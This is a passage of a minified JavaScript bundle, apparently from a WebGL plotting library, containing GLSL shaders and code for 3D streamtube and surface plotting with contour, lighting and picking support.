  vec4 surfaceColor = f_color * texture2D(texture, f_uv);
  vec4 litColor = surfaceColor.a * vec4(diffuse * surfaceColor.rgb + kspecular * vec3(1,1,1) * specular,  1.0);

  gl_FragColor = litColor * opacity;
}
`]),l=r([`precision highp float;

precision highp float;
#define GLSLIFY 1

vec3 getOrthogonalVector(vec3 v) {
  // Return up-vector for only-z vector.
  // Return ax + by + cz = 0, a point that lies on the plane that has v as a normal and that isn't (0,0,0).
  // From the above if-statement we have ||a|| > 0  U  ||b|| > 0.
  // Assign z = 0, x = -b, y = a:
  // a*-b + b*a + c*0 = -ba + ba + 0 = 0
  if (v.x*v.x > v.z*v.z || v.y*v.y > v.z*v.z) {
    return normalize(vec3(-v.y, v.x, 0.0));
  } else {
    return normalize(vec3(0.0, v.z, -v.y));
  }
}

// Calculate the tube vertex and normal at the given index.
//
// The returned vertex is for a tube ring with its center at origin, radius of length(d), pointing in the direction of d.
//
// Each tube segment is made up of a ring of vertices.
// These vertices are used to make up the triangles of the tube by connecting them together in the vertex array.
// The indexes of tube segments run from 0 to 8.
//
vec3 getTubePosition(vec3 d, float index, out vec3 normal) {
  float segmentCount = 8.0;

  float angle = 2.0 * 3.14159 * (index / segmentCount);

  vec3 u = getOrthogonalVector(d);
  vec3 v = normalize(cross(u, d));

  vec3 x = u * cos(angle) * length(d);
  vec3 y = v * sin(angle) * length(d);
  vec3 v3 = x + y;

  normal = normalize(v3);

  return v3;
}

attribute vec4 vector;
attribute vec4 position;
attribute vec4 id;

uniform mat4 model, view, projection;
uniform float tubeScale;

varying vec3 f_position;
varying vec4 f_id;

void main() {
  vec3 normal;
  vec3 XYZ = getTubePosition(mat3(model) * (tubeScale * vector.w * normalize(vector.xyz)), position.w, normal);
  vec4 tubePosition = model * vec4(position.xyz, 1.0) + vec4(XYZ, 0.0);

  gl_Position = projection * view * tubePosition;
  f_id        = id;
  f_position  = position.xyz;
}
`]),u=r([`precision highp float;
#define GLSLIFY 1

bool outOfRange(float a, float b, float p) {
  return ((p > max(a, b)) || 
          (p < min(a, b)));
}

bool outOfRange(vec2 a, vec2 b, vec2 p) {
  return (outOfRange(a.x, b.x, p.x) ||
          outOfRange(a.y, b.y, p.y));
}

bool outOfRange(vec3 a, vec3 b, vec3 p) {
  return (outOfRange(a.x, b.x, p.x) ||
          outOfRange(a.y, b.y, p.y) ||
          outOfRange(a.z, b.z, p.z));
}

bool outOfRange(vec4 a, vec4 b, vec4 p) {
  return outOfRange(a.xyz, b.xyz, p.xyz);
}

uniform vec3  clipBounds[2];
uniform float pickId;

varying vec3 f_position;
varying vec4 f_id;

void main() {
  if (outOfRange(clipBounds[0], clipBounds[1], f_position)) discard;

  gl_FragColor = vec4(pickId, f_id.xyz);
}`]);g.meshShader={vertex:f,fragment:a,attributes:[{name:"position",type:"vec4"},{name:"color",type:"vec4"},{name:"uv",type:"vec2"},{name:"vector",type:"vec4"}]},g.pickShader={vertex:l,fragment:u,attributes:[{name:"position",type:"vec4"},{name:"id",type:"vec4"},{name:"vector",type:"vec4"}]}},7307:function(d,g,t){var r=t(2858),f=t(4020),a=["xyz","xzy","yxz","yzx","zxy","zyx"],l=function(T,w,E,p){for(var A=T.points,m=T.velocities,n=T.divergences,C=[],x=[],I=[],k=[],B=[],_=[],F=0,O=0,z=f.create(),N=f.create(),G=8,J=0;J<A.length;J++){var q=A[J],ne=m[J],fe=n[J];w===0&&(fe=E*.05),O=r.length(ne)/p,z=f.create(),r.copy(z,ne),z[3]=fe;for(var X=0;X<G;X++)B[X]=[q[0],q[1],q[2],X];if(k.length>0)for(var X=0;X<G;X++){var W=(X+1)%G;C.push(k[X],B[X],B[W],B[W],k[W],k[X]),I.push(N,z,z,z,N,N),_.push(F,O,O,O,F,F);var V=C.length;x.push([V-6,V-5,V-4],[V-3,V-2,V-1])}var Y=k;k=B,B=Y;var Q=N;N=z,z=Q;var ie=F;F=O,O=ie}return{positions:C,cells:x,vectors:I,vertexIntensity:_}},u=function(T,w,E,p){for(var A=0,m=0;m<T.length;m++)for(var n=T[m].velocities,C=0;C<n.length;C++)A=Math.max(A,r.length(n[C]));for(var x=T.map(function(J){return l(J,E,p,A)}),I=[],k=[],B=[],_=[],m=0;m<x.length;m++){var F=x[m],O=I.length;I=I.concat(F.positions),B=B.concat(F.vectors),_=_.concat(F.vertexIntensity);for(var C=0;C<F.cells.length;C++){var z=F.cells[C],N=[];k.push(N);for(var G=0;G<z.length;G++)N.push(z[G]+O)}}return{positions:I,cells:k,vectors:B,vertexIntensity:_,colormap:w}},s=function(T,w){var E=T.length,p;for(p=0;p<E;p++){var A=T[p];if(A===w)return p;if(A>w)return p-1}return p},y=function(T,w,E){return T<w?w:T>E?E:T},c=function(T,w,E){var p=w.vectors,A=w.meshgrid,m=T[0],n=T[1],C=T[2],x=A[0].length,I=A[1].length,k=A[2].length,B=s(A[0],m),_=s(A[1],n),F=s(A[2],C),O=B+1,z=_+1,N=F+1;if(B=y(B,0,x-1),O=y(O,0,x-1),_=y(_,0,I-1),z=y(z,0,I-1),F=y(F,0,k-1),N=y(N,0,k-1),B<0||_<0||F<0||O>x-1||z>I-1||N>k-1)return r.create();var G=A[0][B],J=A[0][O],q=A[1][_],ne=A[1][z],fe=A[2][F],X=A[2][N],W=(m-G)/(J-G),V=(n-q)/(ne-q),Y=(C-fe)/(X-fe);isFinite(W)||(W=.5),isFinite(V)||(V=.5),isFinite(Y)||(Y=.5);var Q,ie,j,K,oe,re;switch(E.reversedX&&(B=x-1-B,O=x-1-O),E.reversedY&&(_=I-1-_,z=I-1-z),E.reversedZ&&(F=k-1-F,N=k-1-N),E.filled){case 5:oe=F,re=N,j=_*k,K=z*k,Q=B*k*I,ie=O*k*I;break;case 4:oe=F,re=N,Q=B*k,ie=O*k,j=_*k*x,K=z*k*x;break;case 3:j=_,K=z,oe=F*I,re=N*I,Q=B*I*k,ie=O*I*k;break;case 2:j=_,K=z,Q=B*I,ie=O*I,oe=F*I*x,re=N*I*x;break;case 1:Q=B,ie=O,oe=F*x,re=N*x,j=_*x*k,K=z*x*k;break;default:Q=B,ie=O,j=_*x,K=z*x,oe=F*x*I,re=N*x*I;break}var le=p[Q+j+oe],pe=p[Q+j+re],we=p[Q+K+oe],xe=p[Q+K+re],ke=p[ie+j+oe],_e=p[ie+j+re],be=p[ie+K+oe],ge=p[ie+K+re],Te=r.create(),Fe=r.create(),Oe=r.create(),Ce=r.create();r.lerp(Te,le,ke,W),r.lerp(Fe,pe,_e,W),r.lerp(Oe,we,be,W),r.lerp(Ce,xe,ge,W);var Be=r.create(),$e=r.create();r.lerp(Be,Te,Oe,V),r.lerp($e,Fe,Ce,V);var Xe=r.create();return r.lerp(Xe,Be,$e,Y),Xe},b=function(T){var w=1/0;T.sort(function(m,n){return m-n});for(var E=T.length,p=1;p<E;p++){var A=Math.abs(T[p]-T[p-1]);A<w&&(w=A)}return w},h=function(T){for(var w=[],E=[],p=[],A={},m={},n={},C=T.length,x=0;x<C;x++){var I=T[x],k=I[0],B=I[1],_=I[2];A[k]||(w.push(k),A[k]=!0),m[B]||(E.push(B),m[B]=!0),n[_]||(p.push(_),n[_]=!0)}var F=b(w),O=b(E),z=b(p),N=Math.min(F,O,z);return isFinite(N)?N:1};d.exports=function(T,w){var E=T.startingPositions,p=T.maxLength||1e3,A=T.tubeSize||1,m=T.absoluteTubeSize,n=T.gridFill||"+x+y+z",C={};n.indexOf("-x")!==-1&&(C.reversedX=!0),n.indexOf("-y")!==-1&&(C.reversedY=!0),n.indexOf("-z")!==-1&&(C.reversedZ=!0),C.filled=a.indexOf(n.replace(/-/g,"").replace(/\+/g,""));var x=T.getVelocity||function(_e){return c(_e,T,C)},I=T.getDivergence||function(_e,be){var ge=r.create(),Te=1e-4;r.add(ge,_e,[Te,0,0]);var Fe=x(ge);r.subtract(Fe,Fe,be),r.scale(Fe,Fe,1/Te),r.add(ge,_e,[0,Te,0]);var Oe=x(ge);r.subtract(Oe,Oe,be),r.scale(Oe,Oe,1/Te),r.add(ge,_e,[0,0,Te]);var Ce=x(ge);return r.subtract(Ce,Ce,be),r.scale(Ce,Ce,1/Te),r.add(ge,Fe,Oe),r.add(ge,ge,Ce),ge},k=[],B=w[0][0],_=w[0][1],F=w[0][2],O=w[1][0],z=w[1][1],N=w[1][2],G=function(_e){var be=_e[0],ge=_e[1],Te=_e[2];return!(be<B||be>O||ge<_||ge>z||Te<F||Te>N)},J=r.distance(w[0],w[1]),q=10*J/p,ne=q*q,fe=1,X=0,W=E.length;W>1&&(fe=h(E));for(var V=0;V<W;V++){var Y=r.create();r.copy(Y,E[V]);var Q=[Y],ie=[],j=x(Y),K=Y;ie.push(j);var oe=[],re=I(Y,j),le=r.length(re);isFinite(le)&&le>X&&(X=le),oe.push(le),k.push({points:Q,velocities:ie,divergences:oe});for(var pe=0;pe<p*100&&Q.length<p&&G(Y);){pe++;var we=r.clone(j),xe=r.squaredLength(we);if(xe===0)break;if(xe>ne&&r.scale(we,we,q/Math.sqrt(xe)),r.add(we,we,Y),j=x(we),r.squaredDistance(K,we)-ne>-1e-4*ne){Q.push(we),K=we,ie.push(j);var re=I(we,j),le=r.length(re);isFinite(le)&&le>X&&(X=le),oe.push(le)}Y=we}}var ke=u(k,T.colormap,X,fe);return m?ke.tubeScale=m:(X===0&&(X=1),ke.tubeScale=A*.5*fe/X),ke};var i=t(9578),v=t(1140).createMesh;d.exports.createTubeMesh=function(T,w){return v(T,w,{shaders:i,traceType:"streamtube"})}},9054:function(d,g,t){var r=t(5158),f=t(6832),a=f([`precision highp float;
#define GLSLIFY 1

attribute vec4 uv;
attribute vec3 f;
attribute vec3 normal;

uniform vec3 objectOffset;
uniform mat4 model, view, projection, inverseModel;
uniform vec3 lightPosition, eyePosition;
uniform sampler2D colormap;

varying float value, kill;
varying vec3 worldCoordinate;
varying vec2 planeCoordinate;
varying vec3 lightDirection, eyeDirection, surfaceNormal;
varying vec4 vColor;

void main() {
  vec3 localCoordinate = vec3(uv.zw, f.x);
  worldCoordinate = objectOffset + localCoordinate;
  vec4 worldPosition = model * vec4(worldCoordinate, 1.0);
  vec4 clipPosition = projection * view * worldPosition;
  gl_Position = clipPosition;
  kill = f.y;
  value = f.z;
  planeCoordinate = uv.xy;

  vColor = texture2D(colormap, vec2(value, value));

  //Lighting geometry parameters
  vec4 cameraCoordinate = view * worldPosition;
  cameraCoordinate.xyz /= cameraCoordinate.w;
  lightDirection = lightPosition - cameraCoordinate.xyz;
  eyeDirection   = eyePosition - cameraCoordinate.xyz;
  surfaceNormal  = normalize((vec4(normal,0) * inverseModel).xyz);
}
`]),l=f([`precision highp float;
#define GLSLIFY 1

float beckmannDistribution(float x, float roughness) {
  float NdotH = max(x, 0.0001);
  float cos2Alpha = NdotH * NdotH;
  float tan2Alpha = (cos2Alpha - 1.0) / cos2Alpha;
  float roughness2 = roughness * roughness;
  float denom = 3.141592653589793 * roughness2 * cos2Alpha * cos2Alpha;
  return exp(tan2Alpha / roughness2) / denom;
}

float beckmannSpecular(
  vec3 lightDirection,
  vec3 viewDirection,
  vec3 surfaceNormal,
  float roughness) {
  return beckmannDistribution(dot(surfaceNormal, normalize(lightDirection + viewDirection)), roughness);
}

bool outOfRange(float a, float b, float p) {
  return ((p > max(a, b)) || 
          (p < min(a, b)));
}

bool outOfRange(vec2 a, vec2 b, vec2 p) {
  return (outOfRange(a.x, b.x, p.x) ||
          outOfRange(a.y, b.y, p.y));
}

bool outOfRange(vec3 a, vec3 b, vec3 p) {
  return (outOfRange(a.x, b.x, p.x) ||
          outOfRange(a.y, b.y, p.y) ||
          outOfRange(a.z, b.z, p.z));
}

bool outOfRange(vec4 a, vec4 b, vec4 p) {
  return outOfRange(a.xyz, b.xyz, p.xyz);
}

uniform vec3 lowerBound, upperBound;
uniform float contourTint;
uniform vec4 contourColor;
uniform sampler2D colormap;
uniform vec3 clipBounds[2];
uniform float roughness, fresnel, kambient, kdiffuse, kspecular, opacity;
uniform float vertexColor;

varying float value, kill;
varying vec3 worldCoordinate;
varying vec3 lightDirection, eyeDirection, surfaceNormal;
varying vec4 vColor;

void main() {
  if (
    kill > 0.0 ||
    vColor.a == 0.0 ||
    outOfRange(clipBounds[0], clipBounds[1], worldCoordinate)
  ) discard;

  vec3 N = normalize(surfaceNormal);
  vec3 V = normalize(eyeDirection);
  vec3 L = normalize(lightDirection);

  if(gl_FrontFacing) {
    N = -N;
  }

  float specular = max(beckmannSpecular(L, V, N, roughness), 0.);
  float diffuse  = min(kambient + kdiffuse * max(dot(N, L), 0.0), 1.0);

  //decide how to interpolate color — in vertex or in fragment
  vec4 surfaceColor =
    step(vertexColor, .5) * texture2D(colormap, vec2(value, value)) +
    step(.5, vertexColor) * vColor;

  vec4 litColor = surfaceColor.a * vec4(diffuse * surfaceColor.rgb + kspecular * vec3(1,1,1) * specular,  1.0);

  gl_FragColor = mix(litColor, contourColor, contourTint) * opacity;
}
`]),u=f([`precision highp float;
#define GLSLIFY 1

attribute vec4 uv;
attribute float f;

uniform vec3 objectOffset;
uniform mat3 permutation;
uniform mat4 model, view, projection;
uniform float height, zOffset;
uniform sampler2D colormap;

varying float value, kill;
varying vec3 worldCoordinate;
varying vec2 planeCoordinate;
varying vec3 lightDirection, eyeDirection, surfaceNormal;
varying vec4 vColor;

void main() {
  vec3 dataCoordinate = permutation * vec3(uv.xy, height);
  worldCoordinate = objectOffset + dataCoordinate;
  vec4 worldPosition = model * vec4(worldCoordinate, 1.0);

  vec4 clipPosition = projection * view * worldPosition;
  clipPosition.z += zOffset;

  gl_Position = clipPosition;
  value = f + objectOffset.z;
  kill = -1.0;
  planeCoordinate = uv.zw;

  vColor = texture2D(colormap, vec2(value, value));

  //Don't do lighting for contours
  surfaceNormal   = vec3(1,0,0);
  eyeDirection    = vec3(0,1,0);
  lightDirection  = vec3(0,0,1);
}
`]),s=f([`precision highp float;
#define GLSLIFY 1

bool outOfRange(float a, float b, float p) {
  return ((p > max(a, b)) || 
          (p < min(a, b)));
}

bool outOfRange(vec2 a, vec2 b, vec2 p) {
  return (outOfRange(a.x, b.x, p.x) ||
          outOfRange(a.y, b.y, p.y));
}

bool outOfRange(vec3 a, vec3 b, vec3 p) {
  return (outOfRange(a.x, b.x, p.x) ||
          outOfRange(a.y, b.y, p.y) ||
          outOfRange(a.z, b.z, p.z));
}

bool outOfRange(vec4 a, vec4 b, vec4 p) {
  return outOfRange(a.xyz, b.xyz, p.xyz);
}

uniform vec2 shape;
uniform vec3 clipBounds[2];
uniform float pickId;

varying float value, kill;
varying vec3 worldCoordinate;
varying vec2 planeCoordinate;
varying vec3 surfaceNormal;

vec2 splitFloat(float v) {
  float vh = 255.0 * v;
  float upper = floor(vh);
  float lower = fract(vh);
  return vec2(upper / 255.0, floor(lower * 16.0) / 16.0);
}

void main() {
  if ((kill > 0.0) ||
      (outOfRange(clipBounds[0], clipBounds[1], worldCoordinate))) discard;

  vec2 ux = splitFloat(planeCoordinate.x / shape.x);
  vec2 uy = splitFloat(planeCoordinate.y / shape.y);
  gl_FragColor = vec4(pickId, ux.x, uy.x, ux.y + (uy.y/16.0));
}
`]);g.createShader=function(y){var c=r(y,a,l,null,[{name:"uv",type:"vec4"},{name:"f",type:"vec3"},{name:"normal",type:"vec3"}]);return c.attributes.uv.location=0,c.attributes.f.location=1,c.attributes.normal.location=2,c},g.createPickShader=function(y){var c=r(y,a,s,null,[{name:"uv",type:"vec4"},{name:"f",type:"vec3"},{name:"normal",type:"vec3"}]);return c.attributes.uv.location=0,c.attributes.f.location=1,c.attributes.normal.location=2,c},g.createContourShader=function(y){var c=r(y,u,l,null,[{name:"uv",type:"vec4"},{name:"f",type:"float"}]);return c.attributes.uv.location=0,c.attributes.f.location=1,c},g.createPickContourShader=function(y){var c=r(y,u,s,null,[{name:"uv",type:"vec4"},{name:"f",type:"float"}]);return c.attributes.uv.location=0,c.attributes.f.location=1,c}},3754:function(d,g,t){d.exports=ie;var r=t(2288),f=t(5827),a=t(2944),l=t(8931),u=t(5306),s=t(9156),y=t(7498),c=t(7382),b=t(5050),h=t(4162),i=t(104),v=t(7437),T=t(5070),w=t(9144),E=t(9054),p=E.createShader,A=E.createContourShader,m=E.createPickShader,n=E.createPickContourShader,C=4*10,x=[1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1],I=[[0,0],[0,1],[1,0],[1,1],[1,0],[0,1]],k=[[0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0]];(function(){for(var j=0;j<3;++j){var K=k[j],oe=(j+1)%3,re=(j+2)%3;K[oe+0]=1,K[re+3]=1,K[j+6]=1}})();function B(j,K,oe,re,le){this.position=j,this.index=K,this.uv=oe,this.level=re,this.dataCoordinate=le}var _=256;function F(j,K,oe,re,le,pe,we,xe,ke,_e,be,ge,Te,Fe,Oe){this.gl=j,this.shape=K,this.bounds=oe,this.objectOffset=Oe,this.intensityBounds=[],this._shader=re,this._pickShader=le,this._coordinateBuffer=pe,this._vao=we,this._colorMap=xe,this._contourShader=ke,this._contourPickShader=_e,this._contourBuffer=be,this._contourVAO=ge,this._contourOffsets=[[],[],[]],this._contourCounts=[[],[],[]],this._vertexCount=0,this._pickResult=new B([0,0,0],[0,0],[0,0],[0,0,0],[0,0,0]),this._dynamicBuffer=Te,this._dynamicVAO=Fe,this._dynamicOffsets=[0,0,0],this._dynamicCounts=[0,0,0],this.contourWidth=[1,1,1],this.contourLevels=[[1],[1],[1]],this.contourTint=[0,0,0],this.contourColor=[[.5,.5,.5,1],[.5,.5,.5,1],[.5,.5,.5,1]],this.showContour=!0,this.showSurface=!0,this.enableHighlight=[!0,!0,!0],this.highlightColor=[[0,0,0,1],[0,0,0,1],[0,0,0,1]],this.highlightTint=[1,1,1],this.highlightLevel=[-1,-1,-1],this.enableDynamic=[!0,!0,!0],this.dynamicLevel=[NaN,NaN,NaN],this.dynamicColor=[[0,0,0,1],[0,0,0,1],[0,0,0,1]],this.dynamicTint=[1,1,1],this.dynamicWidth=[1,1,1],this.axesBounds=[[1/0,1/0,1/0],[-1/0,-1/0,-1/0]],this.surfaceProject=[!1,!1,!1],this.contourProject=[[!1,!1,!1],[!1,!1,!1],[!1,!1,!1]],this.colorBounds=[!1,!1],this._field=[b(u.mallocFloat(1024),[0,0]),b(u.mallocFloat(1024),[0,0]),b(u.mallocFloat(1024),[0,0])],this.pickId=1,this.clipBounds=[[-1/0,-1/0,-1/0],[1/0,1/0,1/0]],this.snapToData=!1,this.pixelRatio=1,this.opacity=1,this.lightPosition=[10,1e4,0],this.ambientLight=.8,this.diffuseLight=.8,this.specularLight=2,this.roughness=.5,this.fresnel=1.5,this.vertexColor=0,this.dirty=!0}var O=F.prototype;O.genColormap=function(j,K){var oe=!1,re=c([s({colormap:j,nshades:_,format:"rgba"}).map(function(le,pe){var we=K?z(pe/255,K):le[3];return we<1&&(oe=!0),[le[0],le[1],le[2],255*we]})]);return y.divseq(re,255),this.hasAlphaScale=oe,re},O.isTransparent=function(){return this.opacity<1||this.hasAlphaScale},O.isOpaque=function(){return!this.isTransparent()},O.pickSlots=1,O.setPickBase=function(j){this.pickId=j};function z(j,K){if(!K||!K.length)return 1;for(var oe=0;oe<K.length;++oe){if(K.length<2)return 1;if(K[oe][0]===j)return K[oe][1];if(K[oe][0]>j&&oe>0){var re=(K[oe][0]-j)/(K[oe][0]-K[oe-1][0]);return K[oe][1]*(1-re)+re*K[oe-1][1]}}return 1}var N=[0,0,0],G={showSurface:!1,showContour:!1,projections:[x.slice(),x.slice(),x.slice()],clipBounds:[[[0,0,0],[0,0,0]],[[0,0,0],[0,0,0]],[[0,0,0],[0,0,0]]]};function J(j,K){var oe,re,le,pe=K.axes&&K.axes.lastCubeProps.axis||N,we=K.showSurface,xe=K.showContour;for(oe=0;oe<3;++oe)for(we=we||K.surfaceProject[oe],re=0;re<3;++re)xe=xe||K.contourProject[oe][re];for(oe=0;oe<3;++oe){var ke=G.projections[oe];for(re=0;re<16;++re)ke[re]=0;for(re=0;re<4;++re)ke[5*re]=1;ke[5*oe]=0,ke[12+oe]=K.axesBounds[+(pe[oe]>0)][oe],i(ke,j.model,ke);var _e=G.clipBounds[oe];for(le=0;le<2;++le)for(re=0;re<3;++re)_e[le][re]=j.clipBounds[le][re];_e[0][oe]=-1e8,_e[1][oe]=1e8}return G.showSurface=we,G.showContour=xe,G}var q={model:x,view:x,projection:x,inverseModel:x.slice(),lowerBound:[0,0,0],upperBound:[0,0,0],colorMap:0,clipBounds:[[0,0,0],[0,0,0]],height:0,contourTint:0,contourColor:[0,0,0,1],permutation:[1,0,0,0,1,0,0,0,1],zOffset:-1e-4,objectOffset:[0,0,0],kambient:1,kdiffuse:1,kspecular:1,lightPosition:[1e3,1e3,1e3],eyePosition:[0,0,0],roughness:1,fresnel:1,opacity:1,vertexColor:0},ne=x.slice(),fe=[1,0,0,0,1,0,0,0,1];function X(j,K){j=j||{};var oe=this.gl;oe.disable(oe.CULL_FACE),this._colorMap.bind(0);var re=q;re.model=j.model||x,re.view=j.view||x,re.projection=j.projection||x,re.lowerBound=[this.bounds[0][0],this.bounds[0][1],this.colorBounds[0]||this.bounds[0][2]],re.upperBound=[this.bounds[1][0],this.bounds[1][1],this.colorBounds[1]||this.bounds[1][2]],re.objectOffset=this.objectOffset,re.contourColor=this.contourColor[0],re.inverseModel=v(re.inverseModel,re.model);for(var le=0;le<2;++le)for(var pe=re.clipBounds[le],we=0;we<3;++we)pe[we]=Math.min(Math.max(this.clipBounds[le][we],-1e8),1e8);re.kambient=this.ambientLight,re.kdiffuse=this.diffuseLight,re.kspecular=this.specularLight,re.roughness=this.roughness,re.fresnel=this.fresnel,re.opacity=this.opacity,re.height=0,re.permutation=fe,re.vertexColor=this.vertexColor;var xe=ne;for(i(xe,re.view,re.model),i(xe,re.projection,xe),v(xe,xe),le=0;le<3;++le)re.eyePosition[le]=xe[12+le]/xe[15];var ke=xe[15];for(le=0;le<3;++le)ke+=this.lightPosition[le]*xe[4*le+3];for(le=0;le<3;++le){var _e=xe[12+le];for(we=0;we<3;++we)_e+=xe[4*we+le]*this.lightPosition[we];re.lightPosition[le]=_e/ke}var be=J(re,this);if(be.showSurface){for(this._shader.bind(),this._shader.uniforms=re,this._vao.bind(),this.showSurface&&this._vertexCount&&this._vao.draw(oe.TRIANGLES,this._vertexCount),le=0;le<3;++le)!this.surfaceProject[le]||!this.vertexCount||(this._shader.uniforms.model=be.projections[le],this._shader.uniforms.clipBounds=be.clipBounds[le],this._vao.draw(oe.TRIANGLES,this._vertexCount));this._vao.unbind()}if(be.showContour){var ge=this._contourShader;re.kambient=1,re.kdiffuse=0,re.kspecular=0,re.opacity=1,ge.bind(),ge.uniforms=re;var Te=this._contourVAO;for(Te.bind(),le=0;le<3;++le)for(ge.uniforms.permutation=k[le],oe.lineWidth(this.contourWidth[le]*this.pixelRatio),we=0;we<this.contourLevels[le].length;++we)we===this.highlightLevel[le]?(ge.uniforms.contourColor=this.highlightColor[le],ge.uniforms.contourTint=this.highlightTint[le]):(we===0||we-1===this.highlightLevel[le])&&(ge.uniforms.contourColor=this.contourColor[le],ge.uniforms.contourTint=this.contourTint[le]),this._contourCounts[le][we]&&(ge.uniforms.height=this.contourLevels[le][we],Te.draw(oe.LINES,this._contourCounts[le][we],this._contourOffsets[le][we]));for(le=0;le<3;++le)for(ge.uniforms.model=be.projections[le],ge.uniforms.clipBounds=be.clipBounds[le],we=0;we<3;++we)if(this.contourProject[le][we]){ge.uniforms.permutation=k[we],oe.lineWidth(this.contourWidth[we]*this.pixelRatio);for(var Fe=0;Fe<this.contourLevels[we].length;++Fe)Fe===this.highlightLevel[we]?(ge.uniforms.contourColor=this.highlightColor[we],ge.uniforms.contourTint=this.highlightTint[we]):(Fe===0||Fe-1===this.highlightLevel[we])&&(ge.uniforms.contourColor=this.contourColor[we],ge.uniforms.contourTint=this.contourTint[we]),this._contourCounts[we][Fe]&&(ge.uniforms.height=this.contourLevels[we][Fe],Te.draw(oe.LINES,this._contourCounts[we][Fe],this._contourOffsets[we][Fe]))}for(Te.unbind(),Te=this._dynamicVAO,Te.bind(),le=0;le<3;++le)if(this._dynamicCounts[le]!==0)for(ge.uniforms.model=re.model,ge.uniforms.clipBounds=re.clipBounds,ge.uniforms.permutation=k[le],oe.lineWidth(this.dynamicWidth[le]*this.pixelRatio),ge.uniforms.contourColor=this.dynamicColor[le],ge.uniforms.contourTint=this.dynamicTint[le],ge.uniforms.height=this.dynamicLevel[le],Te.draw(oe.LINES,this._dynamicCounts[le],this._dynamicOffsets[le]),we=0;we<3;++we)this.contourProject[we][le]&&(ge.uniforms.model=be.projections[we],ge.uniforms.clipBounds=be.clipBounds[we],Te.draw(oe.LINES,this._dynamicCounts[le],this._dynamicOffsets[le]));Te.unbind()}}O.draw=function(j){return X.call(this,j,!1)},O.drawTransparent=function(j){return X.call(this,j,!0)};var W={model:x,view:x,projection:x,inverseModel:x,clipBounds:[[0,0,0],[0,0,0]],height:0,shape:[0,0],pickId:0,lowerBound:[0,0,0],upperBound:[0,0,0],zOffset:0,objectOffset:[0,0,0],permutation:[1,0,0,0,1,0,0,0,1],lightPosition:[0,0,0],eyePosition:[0,0,0]};O.drawPick=function(j){j=j||{};var K=this.gl;K.disable(K.CULL_FACE);var oe=W;oe.model=j.model||x,oe.view=j.view||x,oe.projection=j.projection||x,oe.shape=this._field[2].shape,oe.pickId=this.pickId/255,oe.lowerBound=this.bounds[0],oe.upperBound=this.bounds[1],oe.objectOffset=this.objectOffset,oe.permutation=fe;for(var re=0;re<2;++re)for(var le=oe.clipBounds[re],pe=0;pe<3;++pe)le[pe]=Math.min(Math.max(this.clipBounds[re][pe],-1e8),1e8);var we=J(oe,this);if(we.showSurface){for(this._pickShader.bind(),this._pickShader.uniforms=oe,this._vao.bind(),this._vao.draw(K.TRIANGLES,this._vertexCount),re=0;re<3;++re)this.surfaceProject[re]&&(this._pickShader.uniforms.model=we.projections[re],this._pickShader.uniforms.clipBounds=we.clipBounds[re],this._vao.draw(K.TRIANGLES,this._vertexCount));this._vao.unbind()}if(we.showContour){var xe=this._contourPickShader;xe.bind(),xe.uniforms=oe;var ke=this._contourVAO;for(ke.bind(),pe=0;pe<3;++pe)for(K.lineWidth(this.contourWidth[pe]*this.pixelRatio),xe.uniforms.permutation=k[pe],re=0;re<this.contourLevels[pe].length;++re)this._contourCounts[pe][re]&&(xe.uniforms.height=this.contourLevels[pe][re],ke.draw(K.LINES,this._contourCounts[pe][re],this._contourOffsets[pe][re]));for(re=0;re<3;++re)for(xe.uniforms.model=we.projections[re],xe.uniforms.clipBounds=we.clipBounds[re],pe=0;pe<3;++pe)if(this.contourProject[re][pe]){xe.uniforms.permutation=k[pe],K.lineWidth(this.contourWidth[pe]*this.pixelRatio);for(var _e=0;_e<this.contourLevels[pe].length;++_e)this._contourCounts[pe][_e]&&(xe.uniforms.height=this.contourLevels[pe][_e],ke.draw(K.LINES,this._contourCounts[pe][_e],this._contourOffsets[pe][_e]))}ke.unbind()}},O.pick=function(j){if(!j||j.id!==this.pickId)return null;var K=this._field[2].shape,oe=this._pickResult,re=K[0]*(j.value[0]+(j.value[2]>>4)/16)/255,le=Math.floor(re),pe=re-le,we=K[1]*(j.value[1]+(j.value[2]&15)/16)/255,xe=Math.floor(we),ke=we-xe;le+=1,xe+=1;var _e=oe.position;_e[0]=_e[1]=_e[2]=0;for(var be=0;be<2;++be)for(var ge=be?pe:1-pe,Te=0;Te<2;++Te)for(var Fe=Te?ke:1-ke,Oe=le+be,Ce=xe+Te,Be=ge*Fe,$e=0;$e<3;++$e)_e[$e]+=this._field[$e].get(Oe,Ce)*Be;for(var Xe=this._pickResult.level,Ze=0;Ze<3;++Ze)if(Xe[Ze]=T.le(this.contourLevels[Ze],_e[Ze]),Xe[Ze]<0)this.contourLevels[Ze].length>0&&(Xe[Ze]=0);else if(Xe[Ze]<this.contourLevels[Ze].length-1){var Ke=this.contourLevels[Ze][Xe[Ze]],st=this.contourLevels[Ze][Xe[Ze]+1];Math.abs(Ke-_e[Ze])>Math.abs(st-_e[Ze])&&(Xe[Ze]+=1)}for(oe.index[0]=pe<.5?le:le+1,oe.index[1]=ke<.5?xe:xe+1,oe.uv[0]=re/K[0],oe.uv[1]=we/K[1],$e=0;$e<3;++$e)oe.dataCoordinate[$e]=this._field[$e].get(oe.index[0],oe.index[1]);return oe},O.padField=function(j,K){var oe=K.shape.slice(),re=j.shape.slice();y.assign(j.lo(1,1).hi(oe[0],oe[1]),K),y.assign(j.lo(1).hi(oe[0],1),K.hi(oe[0],1)),y.assign(j.lo(1,re[1]-1).hi(oe[0],1),K.lo(0,oe[1]-1).hi(oe[0],1)),y.assign(j.lo(0,1).hi(1,oe[1]),K.hi(1)),y.assign(j.lo(re[0]-1,1).hi(1,oe[1]),K.lo(oe[0]-1)),j.set(0,0,K.get(0,0)),j.set(0,re[1]-1,K.get(0,oe[1]-1)),j.set(re[0]-1,0,K.get(oe[0]-1,0)),j.set(re[0]-1,re[1]-1,K.get(oe[0]-1,oe[1]-1))};function V(j,K){return Array.isArray(j)?[K(j[0]),K(j[1]),K(j[2])]:[K(j),K(j),K(j)]}function Y(j){return Array.isArray(j)?j.length===3?[j[0],j[1],j[2],1]:[j[0],j[1],j[2],j[3]]:[0,0,0,1]}function Q(j){if(Array.isArray(j)){if(Array.isArray(j))return[Y(j[0]),Y(j[1]),Y(j[2])];var K=Y(j);return[K.slice(),K.slice(),K.slice()]}}O.update=function(j){j=j||{},this.objectOffset=j.objectOffset||this.objectOffset,this.dirty=!0,"contourWidth"in j&&(this.contourWidth=V(j.contourWidth,Number)),"showContour"in 